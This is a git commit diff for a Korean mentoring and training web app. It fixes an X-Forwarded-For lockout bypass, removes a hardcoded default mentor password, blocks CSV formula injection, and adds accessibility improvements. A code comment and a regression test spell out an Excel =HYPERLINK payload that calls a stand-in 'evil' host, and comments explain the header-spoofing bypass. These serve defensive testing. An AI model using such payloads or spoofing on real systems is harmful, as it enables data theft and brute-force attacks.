fix(security+a11y): 종합 감사(PMD+5관점, 29에이전트) 확정 12건 수정

[HIGH]
- 로그인 잠금 XFF 스푸핑 우회: X-Forwarded-For leftmost(위조 가능) → rightmost(Caddy가 붙인 실제 IP) 사용
- 멘토 기본 비밀번호 하드코딩 제거: env 미설정 시 SecureRandom 생성 후 로그 1회 출력.
  compose에 MENTOR_INITIAL_PASSWORD 추가
- 클릭 카드 키보드 접근 불가(학습문서 전체): Card에 role=button·tabIndex·Enter/Space·aria-label

[MEDIUM]
- CSV 수식 인젝션: =+-@ 로 시작하는 학생 자유입력 앞에 ' 붙여 엑셀 수식화 차단 (+회귀 테스트)
- 학습문서 17개 <html lang=ko> 골격 주입 (스크린리더 한국어 발음)
- 과제 제출 폼 label htmlFor/id 연결
- 상단 아이콘 링크(👤·🔑) aria-label + 이모지 aria-hidden
- 멘토 제출물 표 행 키보드 접근(role/tabIndex/Enter·Space)
- 배지 amber/teal 글자 대비 4.5:1 확보(테마별 --amber-text/--teal-text)

[LOW]
- 코드에디터 포커스 표시(:focus-within), 문제번호 색 대비(--muted), 카드 :focus-visible
- 폼 오류 메시지 role=alert (스크린리더 즉시 안내)

검증: 테스트 26개 통과, 운영에서 XFF 우회 차단(6회째 429)·카드 role/aria·문서 lang=ko 확인.
PMD 29건은 전부 저심각 스멜로 실질 결함 없음. 각 수정에 원리 학습 주석.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
AWESOMEDEV 2026-07-17 13:38:30 +09:00
parent 2c8bbf3574
commit 84144a1608
36 changed files with 322 additions and 37 deletions

View File

@ -23,6 +23,8 @@ import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Component;
import java.io.InputStream;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.List;
import java.util.Map;
@ -86,19 +88,41 @@ public class SeedDataLoader implements ApplicationRunner {
* - 개인정보(이름·이메일·연락처) 본인이 입력하는 것이 정확하다(대신 넣으면 오타·불일치).
* 멘토만 시드로 두는 이유: 학생을 관리할 사람이 처음부터 있어야 하기 때문이다.
*
* MENTOR_INITIAL_PASSWORD 환경변수로 초기 비밀번호를 넣을 있다(운영 권장).
* 없으면 개발용 기본값을 쓰되, 값은 소스에 보이므로 로그인 반드시 바꿔야 한다.
* 실제로 났던 보안 결함 "소스에 박힌 기본 비밀번호" 비밀번호가 아니다.
* 예전엔 env 미설정 소스에 그대로 보이는 고정 문자열로 멘토를 만들었다.
* 소스(=공개 코드) 있는 값은 누구나 읽을 있으므로, 계정으로 로그인하면
* 전체 학생의 개인정보 CSV를 내려받고 학생 비밀번호를 재설정할 있었다.
* 이제 env가 있으면 값을, 없으면 "매번 새로운 랜덤 비밀번호" 만들어
* 로그에만 출력한다. 아무도 미리 없는 값이 된다.
* (운영은 MENTOR_INITIAL_PASSWORD를 .env에 두고, 로컬은 부팅 로그에서 확인.)
*/
private void seedUsers() {
if (userRepository.count() > 0) {
return; // 이미 사용자가 있으면 건너뛴다
}
String initialPassword = System.getenv().getOrDefault("MENTOR_INITIAL_PASSWORD", "mirim2026!");
String envPassword = System.getenv("MENTOR_INITIAL_PASSWORD");
boolean generated = envPassword == null || envPassword.isBlank();
String initialPassword = generated ? randomPassword() : envPassword;
String passwordHash = passwordEncoder.encode(initialPassword);
userRepository.save(new User("mentor1", passwordHash, "멘토", "MENTOR", "NONE"));
log.info("멘토 계정(mentor1)을 생성했습니다. 학생은 회원가입으로 등록합니다.");
if (generated) {
// 랜덤 생성한 경우에만 로그로 알린다. 운영에서 env로 지정했다면 로그에 남기지 않는다
// (지정한 비밀번호를 로그에 흘리지 않기 위해서다).
log.warn("멘토 계정(mentor1) 생성 — 초기 비밀번호(1회 출력): {} ← 로그인 후 즉시 변경하세요. "
+ "운영에서는 MENTOR_INITIAL_PASSWORD 환경변수로 지정하세요.", initialPassword);
} else {
log.info("멘토 계정(mentor1)을 생성했습니다(비밀번호는 환경변수 사용). 학생은 회원가입으로 등록합니다.");
}
}
/** 아무도 미리 알 수 없는 임시 비밀번호 하나. SecureRandom = 예측 불가능한 난수원. */
private String randomPassword() {
byte[] bytes = new byte[12];
new SecureRandom().nextBytes(bytes);
// URL-safe Base64에서 헷갈리는 문자를 빼고 특수문자 하나를 더해 정책을 만족시킨다.
return "M" + Base64.getUrlEncoder().withoutPadding().encodeToString(bytes) + "!";
}
private void seedDocuments() {

View File

@ -130,9 +130,25 @@ public class StudentProfileService {
return sb.toString();
}
/** CSV 한 칸 이스케이프: 큰따옴표로 감싸고, 안의 큰따옴표는 두 개로. */
/**
* CSV 이스케이프.
*
* 학습 포인트 구조 이스케이프: 큰따옴표로 감싸고, 안의 큰따옴표는 개로.
* 이렇게 하면 값에 쉼표·따옴표·줄바꿈이 있어도 열이 밀리지 않는다.
*
* 학습 포인트 수식 인젝션(CSV Injection) 방어. 이게 핵심이다.
* 엑셀은 값이 =, +, -, @ 시작하면 "수식"으로 실행한다. 학생이 이름을
* =HYPERLINK("http://공격자/"&A2) 처럼 지어 가입하면, 경리가 CSV를 엑셀로 여는
* 순간 칸의 진짜 개인정보가 공격자 서버로 새어 나갈 있다.
* 위험 문자로 시작하면 앞에 작은따옴표(') 붙여 "이건 글자야, 수식 아냐" 만든다.
* 엑셀은 선행 ' 표시하지 않고 텍스트로 취급한다. (구조 이스케이프만으로는 막는다
* 따옴표는 엑셀이 텍스트 한정자로 걷어내서 =... 그대로 수식이 되기 때문이다.)
*/
private String csv(String value) {
String v = value == null ? "" : value;
if (!v.isEmpty() && "=+-@\t\r".indexOf(v.charAt(0)) >= 0) {
v = "'" + v; // 수식화 차단
}
return "\"" + v.replace("\"", "\"\"") + "\"";
}
}

View File

@ -180,15 +180,21 @@ public class AuthController {
* request.getRemoteAddr() 항상 "Caddy의 IP" 이걸 키로 쓰면 세계 사용자가
* 명으로 묶여 버린다. 진짜 클라이언트 IP는 Caddy가 X-Forwarded-For 헤더에 담아 준다.
*
* 헤더를 믿어도 되는 조건: 백엔드가 오직 Caddy를 통해서만 접근 가능할 때다
* (우리 구성이 그렇다 backend 컨테이너는 외부 포트를 열지 않는다).
* 백엔드가 인터넷에 직접 노출돼 있다면 누구나 헤더를 위조할 있으므로 믿으면 된다.
* 실제로 났던 취약점 "맨 앞이 클라이언트" 함정이었다.
* X-Forwarded-For는 클라이언트가 임의로 넣어 보낼 있는 헤더다. 프록시(Caddy)
* 값을 지우지 않고 "실제 연결 IP를 뒤에 덧붙인다". 그래서 백엔드가 보는 값은
* [클라이언트가 위조한 ] , [Caddy가 진짜 IP]
* 된다. (leftmost) 믿으면 공격자가 요청마다 가짜 IP를 넣어
* 잠금 카운트를 매번 키로 흩뿌려 무차별 대입 잠금을 통째로 우회할 있었다.
* 신뢰할 있는 "프록시가 직접 덧붙인" (rightmost) 값이다.
* (프록시가 Caddy 하나뿐이라 값이 실제 클라이언트 IP다. 프록시가 여러 겹이면
* "신뢰하는 프록시 수만큼 뒤에서" 세어야 한다 수를 아는 것이 핵심이다.)
*/
private String clientIp(HttpServletRequest request) {
String forwarded = request.getHeader("X-Forwarded-For");
if (forwarded != null && !forwarded.isBlank()) {
// 프록시를 여러 거치면 "원래IP, 프록시1, 프록시2"처럼 쌓인다 앞이 클라이언트.
return forwarded.split(",")[0].trim();
String[] hops = forwarded.split(",");
return hops[hops.length - 1].trim(); // = Caddy가 붙인 실제 IP (위조 불가)
}
return request.getRemoteAddr();
}

View File

@ -14,6 +14,7 @@ import org.springframework.web.server.ResponseStatusException;
import java.time.Instant;
import java.time.LocalDate;
import java.util.List;
import java.util.Optional;
import static org.junit.jupiter.api.Assertions.*;
@ -97,4 +98,23 @@ class StudentProfileServiceTest {
() -> service.myProfile(mentor));
assertEquals(404, ex.getStatusCode().value());
}
@Test
@DisplayName("CSV: =수식으로 시작하는 이름은 앞에 '가 붙어 엑셀 수식 실행이 차단된다")
void exportCsv_neutralizes_formula_injection() {
// 공격자가 이름을 엑셀 수식으로 지어 가입한 상황
User attacker = new User("evil", "해시", "=HYPERLINK(\"http://evil/\")", "STUDENT", "DEV");
ReflectionTestUtils.setField(attacker, "id", 9L); // createdAt은 생성자가 이미 채움
StudentProfile evilProfile = new StudentProfile(attacker, "evil", LocalDate.of(2008, 1, 1),
"010-0000-0000", "@SUM(A1)", "학교", "전공", "보호자", "", "010-1111-1111", Instant.now());
when(studentProfileRepository.findAllWithUser()).thenReturn(List.of(evilProfile));
String csv = service.exportCsv();
// 위험 문자로 시작하는 앞에 작은따옴표가 붙어야 한다 (엑셀이 텍스트로 취급)
assertTrue(csv.contains("\"'=HYPERLINK"), "= 로 시작하는 이름이 무력화되어야 함");
assertTrue(csv.contains("\"'@SUM"), "@ 로 시작하는 주소가 무력화되어야 함");
// 평범한 값은 건드리지 않는다
assertTrue(csv.contains("\"보호자\""));
}
}

View File

@ -36,6 +36,8 @@ services:
# 텔레그램 알림 (값은 .env에 — 비어 있으면 알림만 꺼지고 앱은 정상)
TELEGRAM_BOT_TOKEN: ${TELEGRAM_BOT_TOKEN:-}
TELEGRAM_CHAT_ID: ${TELEGRAM_CHAT_ID:-}
# 멘토 최초 비밀번호 (첫 부팅 시드용). 비우면 랜덤 생성돼 로그에 1회 출력된다.
MENTOR_INITIAL_PASSWORD: ${MENTOR_INITIAL_PASSWORD:-}
depends_on:
postgres:
condition: service_healthy

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CS 기본기 4주 커리큘럼</title>
<style>
:root {
@ -143,6 +148,8 @@
}
@media print { body{background:#fff;} .card,header.mast,.week-badge{box-shadow:none;} section{break-inside:avoid;} }
</style>
</head>
<body>
<div class="wrap">
@ -463,3 +470,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>어썸데브 수습 평가 루브릭</title>
<style>
:root {
@ -157,6 +162,8 @@
.scorebox, .cell-fill, .writeline, .idf .v, .signrow .s .v { border-color: #999 !important; }
}
</style>
</head>
<body>
<div class="wrap">
@ -359,3 +366,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AWESOMEDEV 수습 가이드</title>
<style>
:root {
@ -217,6 +222,8 @@
nav.toc { display: none; }
}
</style>
</head>
<body>
<div class="wrap">
@ -579,3 +586,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>수습용 실전 티켓 풀 20 · AWESOMEDEV</title>
<style>
:root {
@ -123,6 +128,8 @@
.row.target { background: var(--primary-soft); border-radius: 10px; padding: 9px 11px; margin-top: 8px; }
.row.target .lab { color: var(--primary-deep); font-weight: 800; }
</style>
</head>
<body>
<div class="wrap">
@ -463,3 +470,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AWESOMEDEV 1주차 일일 과제집 — 온보딩 & 예절 적용</title>
<style>
:root {
@ -112,6 +117,8 @@
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
</style>
</head>
<body>
<div class="wrap">
@ -851,3 +858,5 @@ chore: 자잘한 정리 예) chore: 불필요한 빈 줄 제거
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>1주차 상세 강의안 · 온보딩 & 예절</title>
<style>
:root {
@ -153,6 +158,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -737,3 +744,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>어썸데브 수습 교육 · 2주차 일일 과제집</title>
<style>
:root {
@ -112,6 +117,8 @@
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
</style>
</head>
<body>
<div class="wrap">
@ -848,3 +855,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>2주차 상세 강의안 — 기초 다지기 · AWESOMEDEV 수습 교육</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -821,3 +828,5 @@ git push -u origin <span class="hl">practice/이름-week2</span>
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AWESOMEDEV 3주차 일일 과제집 — 첫 소과제 실전</title>
<style>
:root {
@ -112,6 +117,8 @@
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
</style>
</head>
<body>
<div class="wrap">
@ -868,3 +875,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AWESOMEDEV 수습 상세 강의안 · 3주차</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -804,3 +811,5 @@ Figma: <span class="hl">[링크]</span>
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AWESOMEDEV 4주차 일일 과제집 — 통합·발표 준비</title>
<style>
:root {
@ -112,6 +117,8 @@
@media (max-width:560px){ .time .row { grid-template-columns: 96px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.task,.day-badge{box-shadow:none;} .task{break-inside:avoid;} }
</style>
</head>
<body>
<div class="wrap">
@ -863,3 +870,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>4주차 상세 강의안 · 기본기 마무리 · 중간평가 — AWESOMEDEV 수습 교육</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -790,3 +797,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>5주차 상세 강의안 · 실전 티켓 ① · AWESOMEDEV 수습</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -1075,3 +1082,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>6주차 상세 강의안 — 실전 티켓 ② · AWESOMEDEV 수습</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -875,3 +882,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>7주차 상세 강의안 — 종합 프로젝트 기획·설계 (멘토용)</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -959,3 +966,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>8주차 상세 강의안 · 구현 · 발표 · 최종평가 — AWESOMEDEV 수습 교육</title>
<style>
:root {
@ -124,6 +129,8 @@
@media (max-width:560px){ .run .r { grid-template-columns: 58px 1fr; gap: 10px; } }
@media print { body{background:#fff;} .card,header.mast,.session,nav.toc,.day-badge{box-shadow:none;} .session{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -937,3 +944,5 @@
</footer>
</div>
</body>
</html>

View File

@ -1,3 +1,8 @@
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>어썸데브 수습 8주 상세 교육안</title>
<style>
:root {
@ -153,6 +158,8 @@
@media (max-width:560px){ .day { grid-template-columns: 48px 1fr; gap: 12px; } .meta2 .m { grid-template-columns: 72px 1fr; gap: 8px; } .week-head { grid-template-columns: auto 1fr; } }
@media print { body{background:#fff;} .card,header.mast,.week-badge,nav.toc{box-shadow:none;} section{break-inside:avoid;} nav.toc{display:none;} }
</style>
</head>
<body>
<div class="wrap">
@ -454,3 +461,5 @@
</footer>
</div>
</body>
</html>

View File

@ -90,15 +90,17 @@ function Layout() {
이름과 역할은 다른 정보이니 역할은 배지로 분리한다 중복도 없어지고 폭도 준다. */}
<span className="topnav-name">{user?.name}</span>
{user?.role === 'MENTOR' && <span className="badge badge-primary">멘토</span>}
{/* 내 정보 — 학생만. (멘토는 인적사항이 없어서 숨긴다) */}
{/* . ( )
a11y: 내용이 이모지뿐이면 스크린리더가 "bust in silhouette 링크" 읽는다.
title은 접근 이름으로 쓰이므로 aria-label로 목적을 알리고, 이모지는 숨긴다. */}
{user?.role === 'STUDENT' && (
<NavLink to="/profile" className="btn btn-ghost" title="내 정보">
👤
<NavLink to="/profile" className="btn btn-ghost" aria-label="내 정보">
<span aria-hidden="true">👤</span>
</NavLink>
)}
{/* 비밀번호 변경 — 처음 받은 비밀번호를 바꿀 수 있는 통로. 눈에 띄는 곳에 둔다. */}
<NavLink to="/change-password" className="btn btn-ghost" title="비밀번호 변경">
🔑
<NavLink to="/change-password" className="btn btn-ghost" aria-label="비밀번호 변경">
<span aria-hidden="true">🔑</span>
</NavLink>
<button className="btn btn-ghost" onClick={logout} title="로그아웃">
로그아웃

View File

@ -1,10 +1,30 @@
// : + + .
// : onClick ( ) .
export default function Card({ children, onClick, style }) {
//
// (a11y) . <div onClick>.
// Tab , Enter .
// , · .
// ( HtmlCss "div onClick " !)
// onClick button : (tabIndex), role button,
// Enter·Space (onKeyDown). aria-label .
export default function Card({ children, onClick, style, ariaLabel }) {
const interactive = Boolean(onClick);
function handleKeyDown(event) {
if (interactive && (event.key === 'Enter' || event.key === ' ')) {
event.preventDefault(); // Space
onClick(event);
}
}
return (
<div
className={`card${onClick ? ' card-clickable' : ''}`}
className={`card${interactive ? ' card-clickable' : ''}`}
onClick={onClick}
onKeyDown={interactive ? handleKeyDown : undefined}
role={interactive ? 'button' : undefined}
tabIndex={interactive ? 0 : undefined}
aria-label={ariaLabel}
style={style}
>
{children}

View File

@ -70,9 +70,12 @@ function AssignmentCard({ assignment, submission, onSubmitted }) {
<details className="fold" open={!submission}>
<summary>{submission ? '다시 제출하기' : '제출하기'}</summary>
<form onSubmit={handleSubmit}>
{/* a11y: label htmlFor id
"제출 내용" 같은 이름을 읽어 준다. id는 과제마다 유니크해야 하므로 assignment.id를 붙인다. */}
<div className="field">
<label>제출 내용</label>
<label htmlFor={`sub-content-${assignment.id}`}>제출 내용</label>
<textarea
id={`sub-content-${assignment.id}`}
className="textarea"
value={content}
onChange={(e) => setContent(e.target.value)}
@ -80,15 +83,16 @@ function AssignmentCard({ assignment, submission, onSubmitted }) {
/>
</div>
<div className="field">
<label>링크 (선택)</label>
<label htmlFor={`sub-link-${assignment.id}`}>링크 (선택)</label>
<input
id={`sub-link-${assignment.id}`}
className="input"
value={link}
onChange={(e) => setLink(e.target.value)}
placeholder="예: Gitea 저장소 주소, 결과물 링크"
/>
</div>
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
<button className="btn btn-primary" type="submit" disabled={saving}>
{saving ? '제출 중...' : submission ? '다시 제출하기' : '제출하기'}
</button>

View File

@ -117,7 +117,7 @@ export default function ChangePasswordPage() {
required
/>
</div>
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
<button className="btn btn-primary" type="submit" disabled={saving}>
{saving ? '변경 중...' : '비밀번호 변경'}
</button>

View File

@ -78,7 +78,7 @@ export default function CodingPage() {
</div>
)}
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
<div className="coding-list">
{problems.map((problem, index) => (

View File

@ -272,9 +272,9 @@ export default function CodingProblemPage() {
</button>
</div>
{runError && <p className="error-text">{runError}</p>}
{runError && <p className="error-text" role="alert">{runError}</p>}
{message && <p className="success-text">{message}</p>}
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
</div>
{/* SQL 문제: 실행 결과 표 vs 기대 결과 표 — 눈으로 비교하며 고칠 수 있게 */}

View File

@ -58,7 +58,8 @@ export default function DocsPage() {
<h2 className="section-title">{koreanTitle}</h2>
<div className="grid-cards">
{docs.map((doc) => (
<Card key={doc.id} onClick={() => navigate(`/docs/${doc.slug}`)}>
<Card key={doc.id} onClick={() => navigate(`/docs/${doc.slug}`)}
ariaLabel={`${doc.title} 문서 열기`}>
<div style={{ display: 'flex', gap: 6, marginBottom: 8 }}>
<Badge value={doc.category} />
{doc.week != null && (

View File

@ -52,7 +52,7 @@ function FindIdTab() {
required
/>
</div>
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
<button
className="btn btn-primary"
type="submit"

View File

@ -80,7 +80,7 @@ export default function LoginPage() {
required
/>
</div>
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
<button
className="btn btn-primary"
type="submit"

View File

@ -108,7 +108,7 @@ function StudentProgressCard({ student }) {
취소
</button>
</div>
{resetError && <p className="error-text" style={{ fontSize: 12.5 }}>{resetError}</p>}
{resetError && <p className="error-text" role="alert" style={{ fontSize: 12.5 }}>{resetError}</p>}
{resetMessage && (
<p style={{ color: 'var(--teal)', fontSize: 12.5, marginTop: 6 }}>{resetMessage}</p>
)}
@ -384,7 +384,7 @@ export default function MentorPage() {
{/* 일부 데이터 로딩 실패 시 — 빈 상태 문구와 구분되는 에러 안내 */}
{loadError && (
<p className="error-text" style={{ marginBottom: 14 }}>
<p className="error-text" role="alert" style={{ marginBottom: 14 }}>
일부 데이터를 불러오지 못했어요. 잠시 새로고침해 주세요.
</p>
)}
@ -448,7 +448,22 @@ export default function MentorPage() {
</thead>
<tbody>
{submissions.map((submission) => (
<tr key={submission.id} onClick={() => selectRow(submission)}>
// a11y: , <tr onClick> .
// role=button + tabIndex + Enter/Space .
<tr
key={submission.id}
onClick={() => selectRow(submission)}
onKeyDown={(e) => {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
selectRow(submission);
}
}}
role="button"
tabIndex={0}
aria-label={`${submission.studentName}${submission.assignmentTitle} 제출물 열기`}
style={{ cursor: 'pointer' }}
>
<td style={{ fontWeight: 600 }}>{submission.studentName}</td>
<td>{submission.assignmentTitle}</td>
<td className="muted">
@ -509,7 +524,7 @@ export default function MentorPage() {
placeholder="잘한 점과 다음에 시도해 볼 점을 구체적으로 적어 주세요."
/>
</div>
{error && <p className="error-text">{error}</p>}
{error && <p className="error-text" role="alert">{error}</p>}
<button className="btn btn-primary" type="submit" disabled={saving}>
{saving ? '저장 중...' : '피드백 저장'}
</button>

View File

@ -232,7 +232,7 @@ export default function MyProfilePage() {
<Field label="관계 (예: 부, 모)" k="emergencyRelation" value={form.emergencyRelation} onChange={set} />
<Field label="전화번호" k="emergencyPhone" placeholder="010-1234-5678" value={form.emergencyPhone} onChange={set} />
{error && <p className="error-text" style={{ marginTop: 10 }}>{error}</p>}
{error && <p className="error-text" role="alert" style={{ marginTop: 10 }}>{error}</p>}
{saved && <p style={{ color: 'var(--teal)', fontSize: 14, marginTop: 10 }}>{saved}</p>}
<button className="btn btn-primary" type="submit" disabled={saving}

View File

@ -184,7 +184,7 @@ export default function QuizPage() {
);
})}
{error && <p className="error-text" style={{ marginTop: 12 }}>{error}</p>}
{error && <p className="error-text" role="alert" style={{ marginTop: 12 }}>{error}</p>}
<div className="course-complete-bar" style={{ marginTop: 20 }}>
<Link to={`/learn/${slug}`} className="btn btn-ghost">

View File

@ -307,7 +307,7 @@ export default function SignupPage() {
개인정보 수집·이용에 동의합니다. (필수)
</label>
{error && <p className="error-text" style={{ marginTop: 10 }}>{error}</p>}
{error && <p className="error-text" role="alert" style={{ marginTop: 10 }}>{error}</p>}
<button className="btn btn-primary" type="submit" disabled={submitting}
style={{ width: '100%', justifyContent: 'center', marginTop: 12 }}>
{submitting ? '가입 중...' : '가입하기'}

View File

@ -14,6 +14,10 @@
--amber: #B9772A;
--teal: #0E8C86;
--rose: #B4463C;
/* 배지 "글자" 옅은 틴트 배경 위에 올라가므로, 배경용 (--amber/--teal)보다
진하게 따로 둔다 저시력 사용자 기준 4.5:1 대비 확보(WCAG 1.4.3). */
--amber-text: #7A4D14;
--teal-text: #0A615C;
--radius: 14px;
--shadow: 0 1px 3px rgba(16, 26, 40, 0.06), 0 4px 14px rgba(16, 26, 40, 0.05);
--code-bg: #F1F4F9;
@ -34,6 +38,9 @@
--shadow: 0 1px 3px rgba(0, 0, 0, 0.35), 0 4px 14px rgba(0, 0, 0, 0.25);
--code-bg: #161E28;
--ink-faint: #74808F;
/* 다크 모드에선 배경이 어두우므로 배지 글자는 반대로 밝게 둔다. */
--amber-text: #E0A95F;
--teal-text: #5FD0C6;
}
}
@ -235,6 +242,13 @@ a {
border-color: var(--primary);
}
/* 키보드로 카드에 포커스했을 위치를 분명히 보여준다(WCAG 2.4.7).
:focus-visible = 마우스 클릭엔 뜨고 키보드 이동일 때만 뜬다. */
.card-clickable:focus-visible {
outline: 2px solid var(--primary);
outline-offset: 2px;
}
/* ---------- 버튼 ---------- */
.btn {
display: inline-flex;
@ -347,8 +361,8 @@ a {
}
.badge-primary { background: var(--primary-soft); color: var(--primary); }
.badge-amber { background: color-mix(in srgb, var(--amber) 14%, transparent); color: var(--amber); }
.badge-teal { background: color-mix(in srgb, var(--teal) 14%, transparent); color: var(--teal); }
.badge-amber { background: color-mix(in srgb, var(--amber) 14%, transparent); color: var(--amber-text); }
.badge-teal { background: color-mix(in srgb, var(--teal) 14%, transparent); color: var(--teal-text); }
.badge-rose { background: color-mix(in srgb, var(--rose) 14%, transparent); color: var(--rose); }
/* ---------- 진행률 바 ---------- */
@ -1042,7 +1056,9 @@ inline-code, .icode {
}
.coding-item__no {
font-variant-numeric: tabular-nums;
color: var(--ink-faint);
/* --ink-faint(#7B8798) 배경 대비 3.65:1로 4.5:1 미달이었다.
번호는 정보(문제 순서)이므로 대비가 충분한 --muted로 바꾼다. */
color: var(--muted);
font-weight: 700;
}
.coding-item__title {
@ -1108,6 +1124,12 @@ inline-code, .icode {
border-right: 1px solid var(--line);
min-width: 42px;
}
/* 키보드로 코드 입력창에 들어왔을 테두리로 위치를 알린다(WCAG 2.4.7).
textarea 자체의 outline은 껐으므로(아래) 부모에 focus-within으로 표시한다. */
.code-editor:focus-within {
outline: 2px solid var(--primary);
outline-offset: 1px;
}
.code-editor__area {
flex: 1;
border: 0;